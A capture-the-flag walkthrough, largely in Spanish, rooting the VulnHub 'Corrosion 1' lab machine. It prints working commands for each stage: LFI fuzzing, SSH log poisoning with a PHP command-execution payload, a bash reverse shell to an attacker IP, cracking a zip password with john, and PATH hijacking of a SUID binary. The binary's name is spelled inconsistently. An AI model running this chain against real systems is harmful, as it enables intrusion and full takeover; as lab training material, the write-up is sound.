Corrosion 1 - VulnHub

The goal of this capture the flag is to gain root access to the target machine. The difficulty level is marked as easy. As a hint, it is mentioned that enumerating properly is the key to solving this CTF. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools.

Summary

  • IP: 192.168.0.108
  • Ports: 22,80
  • OS: Linux (Ubuntu Bionic)
  • Services & Applications:
    • 22 -> OpenSSH 8.4p1 Ubuntu 5ubuntu1
    • 80 -> Apache httpd 2.4.46

Recon

  • Escaneo básico de puertos:
$nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 192.168.0.108 -oG allPorts
  • Escaneo profundo de puertos encontrados:
$nmap -p22,80 -sCV 192.168.0.108 -oN targeted
  • Escaneo de directorios con gobuster:
$gobuster dir -u 192.168.0.108 -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100
- Enumeramos los directorios: "/tasks"  "/blog-post"
  • Buscamos archivos o directorios dentro de “blog-post”:

    • Enumeramos los directorios “/archives” “/uploads”

Análisis de página web:

  • En la página principal vemos la ventana por defecto de apache, en el directorio que encontramos en la fase de reconocimiento “/blog-post/archives” podemos visualizar un archivo “randylogs.php”, lo abrimos y no podemos visualizar nada ni ver en que consiste.

LFI a RCE con archivo php vulnerable:

  • Fuzzeamos el archivo php que encontramos para comprobar si es vulnerable a LFI:
$wfuzz -c -u http://192.168.0.108/blog-post/archives/randylogs.php?FUZZ=/etc/passwd -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hl=0
  • Obtenemos que el parámetro “file” devuelve más de 0 caracteres como respuesta, probamos introduciéndolo en la página y efectivamente nos arroja el contenido del archivo “/etc/passwd”.

  • Tratamos de convertir este LFI en RCE, primero buscando si existen logs SSH:

http://192.168.0.108/blog-post/archives/randylogs.php?file=/var/log/auth.log
  • Vemos que si existe el archivo “auth.log” y podemos visualizarlo, aprovechamos esto para hacer un SSH log poisoning.

SSH Log Poisoning:

  • En la máquina atacante, intentamos loguearnos via SSH, introduciendo, en lugar de un usuario normal, código PHP el cual nos permita ejecutar comandos mediante el parámetro “get”:
ssh '<?php system($_GET["cmd"]); ?>'@192.168.0.108
  • Ahora, si recargamos la página que apunta al fichero “auth.log” y al final del link le concatenamos el ampersan y el parámetro cmd con cualquier comando, este se debería ejecutar y mostrarnos en pantalla el resultado:
view-source:http://192.168.0.108/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=ls -l /
  • Con esto confirmamos el RCE y entablamos una reverse shell básica para ganar acceso al sistema; haciendo el respectivo tratamiento a la tty.
view-source:http://192.168.0.108/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=bash -c "bash -i >%26 /dev/tcp/192.168.0.106/443 0>%261"

ESCALANDO PRIVILEGIOS:

  • Buscamos en el directorio “/var/backups” y vemos un archivo zip llamado “user_backup.zip” con permisos de lectura.

  • Lo transferimos a nuestra máquina atacante y lo intentamos descomprimir; al ver que nos pide contraseña, la intentamos romper con John:

$zip2john user_backup.zip > pass.hash
$john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt pass.hash
  • Obtenemos una contraseña; descomprimimos el archivo:
$unzip user_backup.zip
  • Vemos un archivo con credenciales del usuario “randy” la usamos para pivotar a dicho usuario:

$su randy

  • Buscamos permisos SUID y encontramos lo siguiente:
/home/randy/tools/easysysinfo
  • Analizamos dicho binario con “strings” y nos damos cuenta que en parte del mismo ejecuta el binario “cat” mediante ruta relativa, lo cual podemos explotar con PATH hijacking, ya que el propietario del binario es root y tenemos permisos SUID:
$touch /tmp/cat
$chmod +x /tmp/cat
$nano /tmp/cat
chmod u+s /bin/bash
export PATH=/tmp:$PATH
  • Ahora ejecutamos el binario y habremos otorgado permisos SUID a la bash:
$./easysinfo
  • Ejecutamos la bash con privilegios y seremos root:
$bash -p